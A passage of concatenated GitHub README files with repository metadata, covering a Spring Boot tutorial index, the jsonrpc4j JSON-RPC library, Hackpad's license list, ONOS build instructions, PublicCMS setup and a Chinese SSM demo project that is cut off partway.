Boot多数据源配置使用原理](https://github.com/timebusker/spring-boot/tree/master/spring-boot-21-MultiDataSource/) #### 第二十二个模块：[................................Spring Boot基于Vue快速搭建Web管理系统](https://github.com/timebusker/spring-boot/tree/master/spring-boot-22-FarstPlus/) #### 第二十三个模块：[................................Spring Boot多种方式连接MongoDB操作](https://github.com/timebusker/spring-boot/tree/master/spring-boot-23-MongoDB/) ---- ### 关于Spring Boot模板引擎 - 虽然现在很多开发，都采用了前后端完全分离的模式，即后端只提供数据接口，前端通过AJAX请求获取数据，完全不需要用的模板引擎。 这种方式的优点在于前后端完全分离，并且随着近几年前端工程化工具和MVC框架的完善，使得这种模式的维护成本相对来说也更加低一点。 但是这种模式不利于SEO，并且在性能上也会稍微差一点，还有一些场景，使用模板引擎会更方便，比如说邮件模板。 - 总体来讲，Spring boot对thymeleaf和Freemaker支持比较友好，配置相对也简单一点，Spring Boot不建议使用JSP，因为在使用嵌入式servlet容器时，有一些使用限制。 在实际的开发中，大多也以这两种模板引擎为主，很少有用jsp的，jsp现在可能更多是在实验或者学习阶段使用。  [性能对比测试](https://github.com/jreijn/spring-comparing-template-engines)

briandilley/jsonrpc4j

JSON-RPC for Java

2013-10-18T23:15:55Z

# JSON-RPC for Java This project aims to provide the facility to easily implement JSON-RPC for the java programming language. jsonrpc4j uses the [Jackson][Jackson page] library to convert java objects to and from json objects (and other things related to JSON-RPC). [](http://briandilley.github.io/jsonrpc4j/javadoc/1.5.0/) [ ](https://repo1.maven.org/maven2/com/github/briandilley/jsonrpc4j/jsonrpc4j/1.5.3/) [](https://travis-ci.org/gaborbernat/jsonrpc4j) [](https://github.com/briandilley/jsonrpc4j/compare/1.5.3...master) ## Features Include: * Streaming server (`InputStream` \ `OutputStream`) * HTTP Server (`HttpServletRequest` \ `HttpServletResponse`) * Portlet Server (`ResourceRequest` \ `ResourceResponse`) * Socket Server (`StreamServer`) * Integration with the Spring Framework (`RemoteExporter`) * Streaming client * HTTP client * Dynamic client proxies * Annotations support * Custom error resolving * Composite services ## Maven This project is built with [Maven][Maven page]. Be sure to check the pom.xml for the dependencies if you're not using maven. If you're already using spring you should have most (if not all) of the dependencies already - outside of maybe the [Jackson Library][Jackson page]. Jsonrpc4j is available from the maven central repo. Add the following to your pom.xml if you're using maven: In `<dependencies>`: ```xml <!-- jsonrpc4j --> <dependency> <groupId>com.github.briandilley.jsonrpc4j</groupId> <artifactId>jsonrpc4j</artifactId> <version>1.6</version> </dependency> ``` or with gradle: ```groovy implementation('com.github.briandilley.jsonrpc4j:jsonrpc4j:1.6') ``` If you want to just download the projects output JAR and it's dependencies you can do it over at the [Maven repository][Maven repository]. ## JSON-RPC specification The official source for the [JSON-RPC 2.0 specification][JSON RPC Spec]. The guys over at [json-rpc google group][Google Group] seem to be fairly active, so you can ask clarifying questions there. ## Streaming server and client Jsonrpc4j comes with a streaming server and client to support applications of all types (not just HTTP). The `JsonRpcClient` and `JsonRpcServer` have simple methods that take `InputStream`s and `OutputStream`s. Also in the library is a `JsonRpcHttpClient` which extends the `JsonRpcClient` to add HTTP support. ## Spring Framework jsonrpc4j provides a `RemoteExporter` to expose java services as JSON-RPC over HTTP without requiring any additional work on the part of the programmer. The following example explains how to use the `JsonServiceExporter` within the Spring Framework. Create your service interface: ```java package com.mycompany; public interface UserService { User createUser(String userName, String firstName, String password); User createUser(String userName, String password); User findUserByUserName(String userName); int getUserCount(); } ``` Implement it: ```java package com.mycompany; public class UserServiceImpl implements UserService { public User createUser(String userName, String firstName, String password) { User user = new User(); user.setUserName(userName); user.setFirstName(firstName); user.setPassword(password); database.saveUser(user); return user; } public User createUser(String userName, String password) { return this.createUser(userName, null, password); } public User findUserByUserName(String userName) { return database.findUserByUserName(userName); } public int getUserCount() { return database.getUserCount(); } } ``` Configure your service in spring as you would any other RemoteExporter: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd"> <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"/> <bean id="userService" class="com.mycompany.UserServiceImpl"> </bean> <bean name="/UserService.json" class="com.googlecode.jsonrpc4j.spring.JsonServiceExporter"> <property name="service" ref="userService"/> <property name="serviceInterface" value="com.mycompany.UserService"/> </bean> </beans> ``` Your service is now available at the URL /UserService.json. Type conversion of JSON->Java and Java->JSON will happen for you automatically. This service can be accessed by any JSON-RPC capable client, including the `JsonProxyFactoryBean`, `JsonRpcClient` and `JsonRpcHttpClient` provided by this project: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean class="com.googlecode.jsonrpc4j.spring.JsonProxyFactoryBean"> <property name="serviceUrl" value="http://example.com/UserService.json"/> <property name="serviceInterface" value="com.mycompany.UserService"/> </bean> <beans> ``` In the case that your JSON-RPC requires named based parameters rather than indexed parameters an annotation can be added to your service interface (this also works on the service implementation for the ServiceExporter): ```java package com.mycompany; public interface UserService { User createUser(@JsonRpcParam(value="theUserName") String userName, @JsonRpcParam(value="thePassword") String password); } ``` By default all error message responses contain the the message as returned by Exception.getmessage() with a code of 0. This is not always desirable. jsonrpc4j supports annotated based customization of these error messages and codes, for example: ```java package com.mycompany; public interface UserService { @JsonRpcErrors({ @JsonRpcError(exception=UserExistsException.class, code=-5678, message="User already exists", data="The Data"), @JsonRpcError(exception=Throwable.class,code=-187) }) User createUser(@JsonRpcParam(value="theUserName") String userName, @JsonRpcParam(value="thePassword") String password); } ``` The previous example will return the error code `-5678` with the message `User already exists` if the service throws a UserExistsException. In the case of any other exception the code `-187` is returned with the value of `getMessage()` as returned by the exception itself. ### Auto Discovery With Annotations Spring can also be configured to auto-discover services and clients with annotations. To configure auto-discovery of annotated services first annotate the service interface: ```java @JsonRpcService("/path/to/MyService") interface MyService { ... service methods ... } ``` Next annotate the implementation of the service interface; ```java @AutoJsonRpcServiceImpl class MyServiceImpl { ... service methods' implementations ... } ``` and use the following configuration to allow spring to find the implementation that you would like to expose: ```xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> <bean class="com.googlecode.jsonrpc4j.spring.AutoJsonRpcServiceImplExporter"/> <bean class="com.mycompany.MyServiceImpl" /> </beans> ``` Configuring a client is just as easy: ```xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> <bean class="com.googlecode.jsonrpc4j.spring.AutoJsonRpcClientProxyCreator"> <property name="baseUrl" value="http://hostname/api/" /> <property name="scanPackage" value="com.mycompany.services" /> </bean> </beans> ``` Where the `baseUrl` is added to the front of the path value provided by the `JsonRpcService` annotation and `scanPackage` tells spring which packages to scan for services. ## Without the Spring Framework jsonrpc4j can be used without the spring framework as well. In fact, the client and server both work in an Android environment. ### Client Here's an example of how to use the client to communicate with the JSON-RPC service described above: ```java JsonRpcHttpClient client = new JsonRpcHttpClient( new URL("http://example.com/UserService.json")); User user = client.invoke("createUser", new Object[] { "bob", "the builder" }, User.class); ``` Or, the ProxyUtil class can be used in conjunction with the interface to create a dynamic proxy: ```java JsonRpcHttpClient client = new JsonRpcHttpClient( new URL("http://example.com/UserService.json")); UserService userService = ProxyUtil.createClientProxy( getClass().getClassLoader(), UserService.class, client); User user = userService.createUser("bob", "the builder"); ``` ### server The server can be used without spring as well: ```java // create it JsonRpcServer server = new JsonRpcServer(userService, UserService.class); ``` After having created the server it's simply a matter of calling one of the `handle(...)` methods available. For example, here's a servlet using the very same `UserService`: ```java class UserServiceServlet extends HttpServlet { private UserService userService; private JsonRpcServer jsonRpcServer; protected void doPost(HttpServletRequest req, HttpServletResponse resp) { jsonRpcServer.handle(req, resp); } public void init(ServletConfig config) { //this.userService = ... this.jsonRpcServer = new JsonRpcServer(this.userService, UserService.class); } } ``` ### Composite Services Multiple services can be combined into a single server using one of the `ProxyUtil::createCompositeService(...)` methods. For example: ```java UserverService userService = ...; ContentService contentService = ...; BlackJackService blackJackService = ...; Object compositeService = ProxyUtil.createCompositeServiceProxy( this.getClass().getClassLoader(), new Object[] { userService, contentService, blackJackService}, new Class<?>[] { UserService.class, ContentService.class, BlackJackService.class}, true); // now compositeService can be used as any of the above service, ie: User user = ((UserverService)compositService).createUser(...); Content content = ((ContentService)compositService).getContent(...); Hand hand = ((BlackJackService)compositService).dealHand(...); ``` This can be used in conjunction with the `JsonRpcServer` to expose the service methods from all services at a single location: ```java JsonRpcServer jsonRpcServer = new JsonRpcServer(compositeService); ``` A spring service exporter exists for creating composite services as well named `CompositeJsonServiceExporter`. ### Streaming (Socket) Server A streaming server that uses `Socket`s is available in the form of the `StreamServer` class. It's use is very straightforward: ```java // create the jsonRpcServer JsonRpcServer jsonRpcServer = new JsonRpcServer(...); // create the stream server int maxThreads = 50; int port = 1420; InetAddress bindAddress = InetAddress.getByName("..."); StreamServer streamServer = new StreamServer( jsonRpcServer, maxThreads, port, bindAddress); // start it, this method doesn't block streamServer.start(); ``` and when you're ready to shut the server down: ```java // stop it, this method blocks until // shutdown is complete streamServer.stop(); ``` Of course, this is all possible in the Spring Framework as well: ```xml <bean id="streamingCompositeService" class="com.googlecode.jsonrpc4j.spring.CompositeJsonStreamServiceExporter"> <!-- can be an IP, hostname or omitted to listen on all available devices --> <property name="hostName" value="localhost"/> <property name="port" value="6420"/> <property name="services"> <list> <ref bean="userService" /> <ref bean="contentService" /> <ref bean="blackJackService" /> </list> </property> </bean> ``` } ### `JsonRpcServer` settings explained The following settings apply to both the `JsonRpcServer` and `JsonServiceExporter`: * `allowLessParams` - Boolean specifying whether or not the server should allow for methods to be invoked by clients supplying less than the required number of parameters to the method. * `allowExtraParams` - Boolean specifying whether or not the server should allow for methods to be invoked by clients supplying more than the required number of parameters to the method. * `rethrowExceptions` - Boolean specifying whether or not the server should re-throw exceptions after sending them back to the client. * `backwardsComaptible` - Boolean specifying whether or not the server should allow for jsonrpc 1.0 calls. This only includes the omission of the jsonrpc property of the request object, it will not enable class hinting. * `errorResolver` - An implementation of the `ErrorResolver` interface that resolves exception thrown by services into meaningful responses to be sent to clients. Multiple `ErrorResolver`s can be configured using the `MultipleErrorResolver` implementation of this interface. * `batchExecutorService` - A configured `ExecutorService` to use for parallel JSON-RPC batch processing. By default batch requests are handled sequentially. ### Server Method resolution Methods are resolved in the following way, each step immediately short circuits the process when the available methods is 1 or less. 1. If a method has the @JsonRpcMethod annotation, then if the annotation value has the same name as the request method, it is considered. If the annotation has `required` set to `true`, then the Java method name is not considered. 2. Otherwise, all methods with the same name as the request method are considered. 3. If `allowLessParams` is disabled methods with more parameters than the request are removed 4. If `allowExtraParams` is disabled then methods with less parameters than the request are removed 5. If either of the two parameters above are enabled then methods with the lowest difference in parameter count from the request are kept 6. Parameters types are compared to the request parameters and the method(s) with the highest number of matching parameters is kept 7. If there are multiple methods remaining then the first of them are used jsonrpc4j's method resolution allows for overloaded methods _sometimes_. Primitives are easily resolved from json to java. But resolution between other objects are not possible. For example, the following overloaded methods will work just fine: json request: ```json {"jsonrpc":"2.0", "id":"10", "method":"aMethod", "params":["Test"]} ``` java methods: ```java public void aMethod(String param1); public void aMethod(String param1, String param2); public void aMethod(String param1, String param2, int param3); ``` But the following will not: json request: ```json {"jsonrpc":"2.0", "id":"10", "method":"addFriend", "params":[{"username":"example", "firstName":"John"}]} ``` java methods: ```java public void addFriend(UserObject userObject); public void addFriend(UserObjectEx userObjectEx); ``` The reason being that there is no efficient way for the server to determine the difference in the json between the `UserObject` and `UserObjectEx` Plain Old Java Objects. #### Custom method names In some instances, you may need to expose a JsonRpc method that is not a valid Java method name. In this case, use the annotation @JsonRpcMethod on the service method. You may also use this annotation to disambiguate overloaded methods by setting the `required` property on the annotation to `true`. ```java @JsonRpcService("/jsonrpc") public interface LibraryService { @JsonRpcMethod("VideoLibrary.GetTVShows") List<TVShow> fetchTVShows(@JsonRpcParam(value="properties") final List<String> properties); } ``` ```json {"jsonrpc":"2.0", "method": "VideoLibrary.GetTVShows", "params": { "properties": ["title"] }, "id":1} ``` [Google Group]: http://groups.google.com/group/json-rpc [Jackson page]: https://github.com/FasterXML/jackson [JSON RPC Spec]: http://www.jsonrpc.org/specification [Maven page]: http://maven.apache.org [Maven repository]: http://mvnrepository.com/artifact/com.github.briandilley.jsonrpc4j/jsonrpc4j

dropbox/hackpad

Hackpad is a web-based realtime wiki.

2015-08-14T02:32:17Z

# About Hackpad Hackpad is a web-based realtime wiki, based on the open source EtherPad collaborative document editor. There is no active development happening in this repository, but we'll maintain a list of active forks to the best of our knowledge. Note that none of these are affiliated with Dropbox or hackpad.com in any way. If you'd like to have your fork listed, send us a pull request. Here's the list: - https://github.com/hackpad/hackpad --- The etherpad package is distributed under the Apache License, Version 2.0. All other packages are redistributed under their original license terms. See below for a license summary of redistributed software. More comprehensive license information can be found in the documentation of each package. This document contains licensing information relating to the use of free and open-source software (FOSS) with or within the Hackpad software. The authors, licensors, and distributors of the FOSS disclaim all express or implied conditions, representations, and warranties relating to the FOSS and any liability arising from use and distribution of the FOSS. This document identifies the FOSS packages used in the Hackpad software, the FOSS licenses that Dropbox believes govern those FOSS packages. While Dropbox has sought to provide complete and accurate licensing information for each FOSS package, Dropbox does not represent or warrant that the licensing information provided herein is correct or error-free. Recipients of the Hackpad software should investigate the identified FOSS packages to confirm the accuracy of the licensing information provided herein. Recipients are also encouraged to notify Dropbox of any inaccurate information or errors found in these notices. ------ ## Apache License, Version 2.0 solr http://lucene.apache.org/solr/ smack api http://www.igniterealtime.org/projects/smack/ gdata java client https://code.google.com/p/gdata-java-client/ FacebookSDK.framework https://developers.facebook.com/docs/ios/ GoogleToolbox https://code.google.com/p/google-toolbox-for-mac/ OCMock https://github.com/erikdoe/ocmock/blob/master/Source/License.txt ## MIT and MIT-Style Licenses bililiteRange.js https://github.com/dwachss/bililiteRange handlebars.js https://github.com/wycats/handlebars.js/blob/master/LICENSE html5shiv https://code.google.com/p/html5shiv/ i18next http://i18next.com/ JQuery http://jquery.com/ JQueryUI http://jqueryui.com/ jquery.ajaxqueue.js http://www.onemoretake.com/2009/10/11/ajaxqueue-and-jquery-1-3/ jquery.autocomplete.js http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ jquery.ba-dotimeout.min.js http://benalman.com/projects/jquery-dotimeout-plugin/ jquery.color.js https://github.com/jquery/jquery-color jquery.contextMenu.js https://github.com/medialize/jQuery-contextMenu jquery.customSelect.js https://github.com/adamcoulombe/jquery.customSelect jquery.embedly.js https://github.com/embedly/embedly-jquery jquery.handsontable.js http://handsontable.com/ jquery.placeholder.js https://github.com/mathiasbynens/jquery-placeholder jquery.sendkeys.js https://github.com/dwachss/bililiteRange jquery.tablesorter.js http://tablesorter.com/docs/ jquery.textcomplete.min.js https://github.com/yuku-t/jquery-textcomplete/ jquery.tinysort.js http://tinysort.sjeiti.com/ jquery.ui.position.js http://jqueryui.com/ jquery.ui.touch-punch.min.js http://touchpunch.furf.com/ jquery.validate.js http://bassistance.de/jquery-plugins/jquery-plugin-validation/ jquery.transition.js https://github.com/louisremi/jquery.transition.js/ less-1.4.1.min.js http://www.lesscss.org/ LESS Hat http://LESSHat.com/ pagedown https://code.google.com/p/pagedown/source/browse/LICENSE.txt require.js http://github.com/jrburke/requirejs selectivizr-min.js http://selectivizr.com/ simplewebrtc.bundle.js https://github.com/HenrikJoreteg/SimpleWebRTC socket.io.js https://github.com/LearnBoost/socket.io-client ACE Syntax Highlighter (tokenizer.js) http://ace.c9.io/ to-markdown https://github.com/domchristie/to-markdown unicode.js http://xregexp.com MBProgressHUD https://github.com/jdg/MBProgressHUD WebViewJavascriptBridge https://github.com/marcuswestin/WebViewJavascriptBridge/blob/master/LICENSE JavaScript Pretty Date http://ejohn.org/blog/javascript-pretty-date/ JSON Framework https://code.google.com/p/json-framework/ Emoji One Non-Artwork https://github.com/Ranks/emojione ZeroClipboard https://github.com/zeroclipboard/zeroclipboard ## BSD and BSD-Style Licenses java-apns https://github.com/notnoop/java-apns glue sprite generator https://github.com/jorgebastida/glue NSAttributedString+DDHTML https://github.com/dbowen/NSAttributedString-DDHTML/ RNCachingURLProtocol https://github.com/rnapier/RNCachingURLProtocol Sente Testing Kit http://www.quantum-step.com/download/sources/mystep/OCUnit/SourceCode/SenTestingKit/OpenSourceLicense.html ASIHTTPRequest http://allseeing-i.com/ASIHTTPRequest/ ## Other Licenses jquery.autoresize.js https://github.com/warpech/jQuery.fn.autoResize vocaro.com UIImage Resize https://gist.github.com/benilovj/2009030 Emoji One Artwork https://github.com/Ranks/emojione

opennetworkinglab/onos

Open Network Operating System

2014-12-04T04:32:00Z

# ONOS : Open Network Operating System ## What is ONOS? ONOS is the only SDN controller platform that supports the transition from legacy “brown field” networks to SDN “green field” networks. This enables exciting new capabilities, and disruptive deployment and operational cost points for network operators. ## Top-Level Features * High availability through clustering and distributed state management. * Scalability through clustering and sharding of network device control. * Performance that is good for a first release, and which has an architecture that will continue to support improvements. * Northbound abstractions for a global network view, network graph, and application intents. * Pluggable southbound for support of OpenFlow, P4Runtime, and new or legacy protocols. * Graphical user interface to view multi-layer topologies and inspect elements of the topology. * REST API for access to Northbound abstractions as well as CLI commands. * CLI for debugging. * Support for both proactive and reactive flow setup. * SDN-IP application to support interworking with traditional IP networks controlled by distributed routing protocols such as BGP. * IP-Optical use case demonstration. ## Getting started ### Dependencies The following packages are required: * git * zip * curl * unzip * python3 (needed by Bazel) ### Build ONOS from source ONOS is built with [Bazel](https://bazel.build/), an open-source build tool developed by Google. We suggest downloading and installing Bazel using the [official instructions](https://docs.bazel.build/versions/master/install.html). The minimum required Bazel version is 1.0.0 1. Clone the code from the ONOS Gerrit repository ```bash $ git clone https://gerrit.onosproject.org/onos ``` 2. Optionally, you can add the ONOS developer environment to your bash profile. This will provide access to a number of handy commands to run, test and debug ONOS. No need to do this step again if you had done this before: ```bash $ cd onos $ cat << EOF >> ~/.bash_profile export ONOS_ROOT="`pwd`" source $ONOS_ROOT/tools/dev/bash_profile EOF $ . ~/.bash_profile ``` 3. Build ONOS with Bazel ```bash $ cd $ONOS_ROOT $ bazel build onos ``` ### Start ONOS on local machine To run ONOS locally on the development machine, simply run the following command: ```bash $ bazel run onos-local [-- [clean] [debug]] ``` Or simpler one, if you have added the ONOS developer environment to your bash profile: ```bash $ ok [clean] [debug] ``` The above command will create a local installation from the ONOS tarbal (re-building if necessary) and will start the ONOS server in the background. In the foreground, it will display a continuous view of the ONOS (Apache Karaf) log file. Options following the double-dash (–) are passed through to the ONOS Apache Karaf and can be omitted. Here, the `clean` option forces a clean installation, removing any state from previous executions. The `debug` option means that the default debug port 5005 will be available for attaching a remote debugger. ### Interacting with ONOS To access ONOS UI, use a browser to open: [http://localhost:8181/onos/ui](http://localhost:8181/onos/ui) Or simpler, use the `onos-gui localhost` command. The default username and password is `onos`/`rocks`. To attach to the ONOS CLI console, run: ```bash $ onos localhost ``` ### Unit Tests To run ONOS unit tests, including code Checkstyle validation, run the following command: ```bash $ bazel query 'tests(//...)' | xargs bazel test ``` Or better yet, to run code Checkstyle and all unit tests use the following convenience alias: ```bash $ ot ``` ## Contributing ONOS code is hosted and maintained using [Gerrit](https://gerrit.onosproject.org/). Code on GitHub is only a mirror. The ONOS project does **NOT** accept code through pull requests on GitHub. To contribute to ONOS, please refer to [Sample Gerrit Workflow](https://wiki.onosproject.org/display/ONOS/Sample+Gerrit+Workflow). It should include most of the things you'll need to get your contribution started! ## More information For more information, please check out our wiki page or mailing lists: * [Wiki](https://wiki.onosproject.org/) * [Google group](https://groups.google.com/a/onosproject.org/forum/#!forum/onos-dev) * [Slack](https://onosproject.slack.com) ## License ONOS (Open Network Operating System) is published under [Apache License 2.0](https://github.com/opennetworkinglab/onos/blob/master/LICENSE.txt) ## Acknowledgements YourKit supports open source projects with innovative and intelligent tools for monitoring and profiling Java and .NET applications. YourKit is the creator of [YourKit Java Profiler](https://www.yourkit.com/java/profiler/), [YourKit .NET Profiler](https://www.yourkit.com/.net/profiler/) and [YourKit YouMonitor](https://www.yourkit.com/youmonitor/). 

sanluan/PublicCMS

More than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, English

2015-08-07T08:21:20Z

# PublicCMS V4.0 <p style="align:center"> English | <a href="./README.zh-CN.md">简体中文</a> </p> <a target="_blank" href="https://qm.qq.com/cgi-bin/qm/qr?k=xoxCUvv7bDCFQ8AAqaoWB1JsLz0L90qn">QQ Group 1</a> 191381542 <a target="_blank" href="https://qm.qq.com/cgi-bin/qm/qr?k=x15JZdCp8vWlxV1mMoMTyrHzMqw3dmI1">QQ Group 2</a> 481589563 <a target="_blank" href="https://qm.qq.com/cgi-bin/qm/qr?k=VogNtcpFOLxvjtvzUcAElZOK-KC4To_u">QQ Group 3</a> 638756883 <a target="_blank" href="https://qm.qq.com/cgi-bin/qm/qr?k=lsFbfVpj3yqWuY92GYkOG1esbyPNS7O3">QQ Group 4</a> 930992232 ## Introduction PublicCMS is an open source JAVACMS system developed with mainstream technologies in 2023. Developed by Tianjin Black Core Technology Co., LTD., the structure is scientific, easily support tens of millions of data, tens of millions of PV; Support visual editing, multi-dimensional expansion, full-text search, static site, SSI, dynamic page local static, URL rules completely customized for you to quickly build a site, large-scale site to provide a powerful drive, is also a good choice for enterprise project product prototype. ## Get the source code https://gitee.com/sanluan/PublicCMS https://github.com/sanluan/PublicCMS ## Participate in development Switch to the develop branch and the free version to the V2019 branch ## Licensing agreement * Version :V4.0,V5 Free for individuals and paid for enterprises: See LICENSE for details * Version :V1.0,V2016,V2017,V2019 Completely free license agreement :MIT ## Environmental requirements * jdk or jre 1.8 and later * mysql 5.5 and later ## Directory description * data\publiccms PublicCMS data directory * doc document * publiccms-parent project source code ## Fast compile and run * Compile and run Ensure that the operating system (OS) runs jdk1.8 or later ``` cd publiccms-parent mvnw clean package cd publiccms/target java -jar publiccms.war ``` Visit the program page http://localhost:8080/ and follow the prompts to configure and initialize the database Management background to visit relative paths for http://localhost:8080/admin/ * direct download an executable program (https://www.publiccms.com/download.html) Prepare java and mysql environments locally, download executable programs, compress and decompress them, and run startup.bat or startup.sh ## Customize the operation mode * windows startup command ``` java -jar -Dfile.encoding="UTF-8" -Dcms.port=8080 -Dcms.contextPath=/publiccms -Dcms.filePath="%cd%\data\publiccms" publiccms.war ``` * linux startup command ``` java -jar -Dfile.encoding="UTF-8" -Dcms.port=8080 -Dcms.contextPath=/publiccms -Dcms.filePath="`pwd`/data/publiccms" publiccms.war ``` For details about the parameters and their meanings, see the deployment manual * Run in tomcat Rename publiccms.war.original to publiccms.war or ROOT.war(the context path is /) and move the file to the tomcat webapps directory,The "-Dcms.filePath" parameter is still valid * Run in docker Execute: ``` docker run -d -p 8080:8080 sanluan/publiccms ``` Build your own image Execute: ``` docker build -t mypubliccms . docker run -d -p 8080:8080 mypubliccms ``` * Run in docker compose Execute: ``` docker compose up -d ``` mysql host/port : mysql-cms/3306 ; user/password : publiccms/password!@# More parameters, please refer to https://hub.docker.com/r/sanluan/publiccms/ ## Demonstration * the demo site : https://www.publiccms.com/ * the background demo : https://cms.publiccms.com/admin/ demo account/password test/test * interface demo: https://cms.publiccms.com/interface.html ## Public CMS architecture diagram  ## Public CMS Management - English  ## Public CMS 管理バックグラウンド - 日本語  ## Public CMS管理后台 - 中文  ## Public CMS管理後臺 - 繁體 

ZHENFENG13/ssm-demo

:banana:Spring+SpringMVC+Mybatis+easyUI实现简单的后台管理系统

2017-02-23T08:13:00Z

## Quick Start #### 联系作者 十三的java学习交流QQ群:```881582471```，```658365129(已满)``` #### 宣传 十三近期于CSDN上传了一份自己制作的达人课课程,感兴趣的朋友可以看一下： * [x] [GitChat达人课-SSM搭建精美实用的管理系统](https://gitbook.cn/gitchat/column/5b4dae389bcda53d07056bc9)  ##### 项目简介 **ssm系列**<br /> * [x] **ssm-demo:Spring+SpringMVC+Mybatis+easyUI整合** * [x] [perfect-ssm](https://github.com/ZHENFENG13/perfect-ssm)：RESTful API+redis缓存 * [x] [ssm-cluster](https://github.com/ZHENFENG13/ssm-cluster):前后端分离+集群部署(springboot+vue) * [x] [ssm-dubbo](https://github.com/ZHENFENG13/ssm-dubbo)：dubbo服务化 * [ ] [ssm-micro-service](https://github.com/ZHENFENG13/ssm-micro-service)：springcloud技术栈实现微服务化 **特别提示:数据库sql脚本文件在resources/db目录下！** 本项目为ssm系列的第一篇，**Spring+SpringMVC+mybatis+easyUI的一个简单demo**，实现了后台管理系统的基本功能，后续会逐渐优化改造，Wiki文档已经整理，可以到[Wiki Page](https://github.com/ZHENFENG13/ssm-demo/wiki)查看，关于项目的简介及技术选型，也已经单独整理了一篇的文章--[项目简述及技术选型介绍](http://www.cnblogs.com/han-1034683568/p/6440090.html)。<br /> #### 项目地址  <a href='http://ssm-demo.13blog.site'>ssm-maven</a> <br />  登录名：admin <br />  密码：123456 <br /> [](https://travis-ci.org/ZHENFENG13/ssm-demo)  [](https://github.com/ZHENFENG13/ssm-demo/blob/master/LICENSE) #### 架构图 ###### 架构简图  ###### 架构详图  想要进一步了解可以到[架构演进详解](https://github.com/ZHENFENG13/ssm-demo/wiki/%E6%9E%B6%E6%9E%84%E6%BC%94%E8%BF%9B%E8%AF%A6%E8%A7%A3)wiki页面查看。 #### 捐赠 开源不易，熬夜辛苦，如果您觉得我的项目对您有帮助，并且您愿意给予我一点小小的支持，这样可以维持项目持续地发展，非常感谢！ 网站的持续运行需要各项基础设施的搭建，而服务期的续费和维护及各种配套服务的购买也需要一定的费用，希望朋友们给予一点支持，你们的支持是激励我继续下去的动力，谢谢你们！ヾ(≧▽≦*)o | 支付宝 | 微信支付 | | :------: | :------: | | <img width="200" src="https://raw.githubusercontent.com/ZHENFENG13/resource/master/images/2018-02-27/zhifubao1.jpg"> | <img width="200" src="https://raw.githubusercontent.com/ZHENFENG13/resource/master/images/2018-02-27/wxpay.jpg"> | 下面列表为最近十条捐赠信息，更多记录请查看[捐赠列表](https://github.com/ZHENFENG13/ssm-demo/wiki/%E6%8D%90%E8%B5%A0%E5%88%97%E8%A1%A8)，如果你已捐赠但是捐赠列表里没有你的信息可以联系十三，十三会及时修改，再次感谢！ <table> <tr> <td>捐赠人</td> <td>金额(RMB)</td> <td>渠道</td> <td width="120">时间</td> <td width="200">留言</td> </tr> <tr> <td>*gi</td> <td>10.00元</td> <td>微信支付</td> <td>2018-07-29</td> <td></td> </tr> <tr> <td>*q</td> <td>1.20元</td> <td>微信支付</td> <td>2018-07-28</td> <td></td> </tr> <tr> <td>*朝晖</td> <td>1.88元</td> <td>支付宝</td> <td>2018-07-26</td> <td>一点点支持</td> </tr> <tr> <td>N*g</td> <td>3.00元</td> <td>微信</td> <td>2018-07-21</td> <td></td> </tr> <tr> <td>*振明</td> <td>0.50元</td> <td>支付宝</td> <td>2018-07-17</td> <td></td> </tr> <tr> <td>*永敏</td> <td>5.00元</td> <td>支付宝</td> <td>2018-07-11</td> <td>请你喝瓶冰可乐！</td> </tr> <tr> <td>*鹭伟</td> <td>2.00元</td> <td>支付宝</td> <td>2018-07-08</td> <td>期待持续更新</td> </tr> <tr> <td>X*Y</td> <td>1.00元</td> <td>微信</td> <td>2018-07-07</td> <td></td> </tr> <tr> <td>*强</td> <td>50.00元</td> <td>支付宝</td> <td>2018-07-03</td> <td>辛苦了，希望能参与学习微服务方面的架构知识</td> </tr> <tr> <td>*兵</td> <td>5.00元</td> <td>支付宝</td> <td>2018-06-20</td> <td>收款</td> </tr> </table> ## Documents * [x] [GitChat达人课-SSM搭建精美实用的管理系统](https://gitbook.cn/gitchat/column/5b4dae389bcda53d07056bc9) **基础篇** * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（一）项目简述及技术选型介绍](http://www.cnblogs.com/han-1034683568/p/6440090.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（二）牛刀小试](http://www.cnblogs.com/han-1034683568/p/6440157.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（三）搭建步骤](http://www.cnblogs.com/han-1034683568/p/6476827.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（四）代码简化](http://www.cnblogs.com/han-1034683568/p/6476852.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（五）讲一下maven](http://www.cnblogs.com/han-1034683568/p/6486117.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（六）maven整合SSM](http://www.cnblogs.com/han-1034683568/p/6507186.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（七）JDBC url的连接参数](http://www.cnblogs.com/han-1034683568/p/6512215.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（八）mysql中文查询bug修复](http://www.cnblogs.com/han-1034683568/p/6517344.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（九）版本控制](http://www.cnblogs.com/han-1034683568/p/6540079.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（十）SVN搭建](http://www.cnblogs.com/han-1034683568/p/6545751.html) * [x] 